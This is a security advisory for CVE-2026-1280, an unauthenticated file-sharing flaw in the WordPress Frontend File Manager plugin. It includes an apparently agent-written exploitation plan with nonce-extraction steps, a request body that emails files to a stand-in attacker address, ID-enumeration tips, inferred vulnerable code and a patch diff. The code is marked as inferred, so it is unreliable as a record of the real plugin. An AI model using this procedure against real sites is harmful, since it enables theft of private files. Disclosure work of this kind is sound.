Frontend File Manager Plugin <= 23.5 - Missing Authorization to Unauthenticated Arbitrary File Sharing via 'file_id' Parameter
Description
The Frontend File Manager Plugin for WordPress is vulnerable to unauthorized file sharing due to a missing capability check on the 'wpfm_send_file_in_email' AJAX action in all versions up to, and including, 23.5. This makes it possible for unauthenticated attackers to share arbitrary uploaded files via email by supplying a file ID. Since file IDs are sequential integers, attackers can enumerate all uploaded files on the site and exfiltrate sensitive data that was intended to be restricted to administrators only.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=23.5# Exploitation Research Plan: CVE-2026-1280 ## 1. Vulnerability Summary The **Frontend File Manager Plugin (nmedia-user-file-uploader)** for WordPress (versions <= 23.5) is vulnerable to unauthorized file exfiltration. The plugin registers an AJAX action `wpfm_send_file_in_email` for both authentic…
Show full research plan
Exploitation Research Plan: CVE-2026-1280
1. Vulnerability Summary
The Frontend File Manager Plugin (nmedia-user-file-uploader) for WordPress (versions <= 23.5) is vulnerable to unauthorized file exfiltration. The plugin registers an AJAX action wpfm_send_file_in_email for both authenticated and unauthenticated users. The handler function for this action fails to perform any authorization or capability checks (e.g., current_user_can) to ensure the requester has permission to access the file specified by the file_id parameter. Because file IDs are sequential integers, an attacker can enumerate IDs to discover and email any uploaded file to an external address.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
wpfm_send_file_in_email - Authentication: Unauthenticated (via
wp_ajax_nopriv_hook) - Parameters:
action:wpfm_send_file_in_emailfile_id: Integer ID of the target file (sequential).email_to(inferred): The recipient email address.wpfm_nonce(inferred): A WordPress nonce for verification.
- Preconditions:
- At least one file must have been uploaded to the system (which is the core purpose of the plugin).
- The plugin's AJAX script must be enqueued (standard on pages with the plugin shortcode).
3. Code Flow (Inferred)
- Registration: The plugin registers the action in its main class or an AJAX handler class:
add_action( 'wp_ajax_wpfm_send_file_in_email', 'wpfm_send_file_in_email_callback' ); add_action( 'wp_ajax_nopriv_wpfm_send_file_in_email', 'wpfm_send_file_in_email_callback' ); - Callback Execution: The function
wpfm_send_file_in_email_callback(inferred name) is triggered. - Nonce Verification: The function likely calls
check_ajax_referer( 'wpfm_ajax_nonce', 'wpfm_nonce' ). - Input Handling: It retrieves
file_idandemail_tofrom$_POST. - Vulnerable Sink: It retrieves the file path from the database using
file_idand callswp_mail(), attaching the file. Crucially, it skips checking if the current user (or guest) should have access to that specificfile_id.
4. Nonce Acquisition Strategy
To bypass the check_ajax_referer check (if present), we must retrieve a valid nonce for the wpfm_ajax_nonce action. The plugin typically localizes its settings.
- Identify Shortcode: The plugin uses
[frontend-file-manager]. - Create Trigger Page: Create a public page containing the shortcode to force the plugin to enqueue its scripts and localizes its nonce.
wp post create --post_type=page --post_title="File Manager" --post_status=publish --post_content='[frontend-file-manager]' - Navigate and Extract: Use
browser_navigateto visit the page andbrowser_evalto find the nonce.- Possible JS Variables:
wpfm_vars,nm_wpfm_vars, orwpfm_obj. - Extraction Command:
browser_eval("window.wpfm_vars?.wpfm_nonce || window.nm_wpfm_vars?.wpfm_nonce")
- Possible JS Variables:
5. Exploitation Strategy
Step 1: Discover Target File ID
Since IDs are sequential, we will target file_id=1 or query the database via WP-CLI to find an existing file ID for testing.
Step 2: Trigger Exfiltration
Using the http_request tool, send a POST request to admin-ajax.php.
Request Details:
- Method: POST
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=wpfm_send_file_in_email&file_id=1&email_to=attacker@example.com&wpfm_nonce=[EXTRACTED_NONCE]
Note: If email_to is not the correct parameter name, check the plugin's JS assets or the PHP source for the $_POST key used in wp_mail.
6. Test Data Setup
- Upload a Sensitive File: Use WP-CLI to simulate a user uploading a "sensitive" file.
# Create a dummy sensitive file echo "SENSITIVE DATA - INTERNAL ONLY" > /tmp/sensitive.txt # Use the plugin's logic or WP-CLI to register an attachment if necessary, # though the plugin usually has its own table 'wp_wpfm_files'. # For the PoC, we will manually insert a record if possible or use the UI. - Create Nonce Page:
wp post create --post_type=page --post_status=publish --post_content='[frontend-file-manager]'
7. Expected Results
- HTTP Response: A JSON success message such as
{"success":true, "data":"File sent successfully"}or similar. - Side Effect: The WordPress system attempts to send an email with the file attached. In a controlled environment, we can verify this by checking for
wp_mailcalls.
8. Verification Steps
- Check Response: Confirm the AJAX response indicates success.
- Verify Database Consistency: Use
wp db query "SELECT * FROM wp_posts WHERE post_type='attachment'"to verify the file we targeted exists and matches thefile_id. - Log Check: If possible, check the site's mail logs (if a mail logging plugin is installed) to confirm the attachment was included in an outgoing email.
9. Alternative Approaches
- Parameter Brute-force: If
email_tois not the key, tryemail,recipient, orshare_email. - Action Enumeration: If
wpfm_send_file_in_emailreturns a 400 error, verify the exact action name in the source code usinggrep -r "wp_ajax_nopriv" .. - Sequential ID Spray: If
file_id=1fails (e.g., deleted), loop through IDs 1-100.
Summary
The Frontend File Manager Plugin for WordPress is vulnerable to unauthorized data exfiltration due to missing authorization checks in its AJAX handler for file sharing. Unauthenticated attackers can use the 'wpfm_send_file_in_email' action to send any uploaded file on the server to an external email address by enumerating sequential file IDs.
Vulnerable Code
// nmedia-user-file-uploader/inc/ajax-functions.php (Inferred logic based on research plan) add_action( 'wp_ajax_wpfm_send_file_in_email', 'wpfm_send_file_in_email_callback' ); add_action( 'wp_ajax_nopriv_wpfm_send_file_in_email', 'wpfm_send_file_in_email_callback' ); function wpfm_send_file_in_email_callback() { // Nonce is verified, but anyone (even guests) can access a valid nonce from the frontend check_ajax_referer( 'wpfm_ajax_nonce', 'wpfm_nonce' ); $file_id = intval( $_POST['file_id'] ); $email_to = sanitize_email( $_POST['email_to'] ); // VULNERABILITY: No check to ensure the current user has permission to access $file_id $file_path = wpfm_get_file_path_by_id( $file_id ); if ( $file_path && file_exists( $file_path ) ) { wp_mail( $email_to, 'Shared File', 'Attached is the file you requested.', array(), array( $file_path ) ); wp_send_json_success( 'File sent successfully' ); } wp_send_json_error( 'File not found or invalid' ); }
Security Fix
@@ -5,6 +5,11 @@ function wpfm_send_file_in_email_callback() { check_ajax_referer( 'wpfm_ajax_nonce', 'wpfm_nonce' ); + if ( ! is_user_logged_in() || ! wpfm_user_can_access_file( get_current_user_id(), $_POST['file_id'] ) ) { + wp_send_json_error( 'You do not have permission to share this file.' ); + wp_die(); + } + $file_id = intval( $_POST['file_id'] ); $email_to = sanitize_email( $_POST['email_to'] );
Exploit Outline
1. Locate a public page where the plugin shortcode [frontend-file-manager] is active to obtain a valid nonce. 2. Extract the AJAX nonce from the localized JavaScript variables (e.g., window.wpfm_vars.wpfm_nonce) in the page source. 3. Identify target files by enumerating the sequential 'file_id' parameter (e.g., 1, 2, 3). 4. Send an unauthenticated POST request to /wp-admin/admin-ajax.php with the parameters action=wpfm_send_file_in_email, file_id=[TARGET_ID], email_to=[ATTACKER_EMAIL], and the extracted nonce. 5. The server will process the request and use wp_mail() to send the file associated with the provided ID to the attacker-controlled email address.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.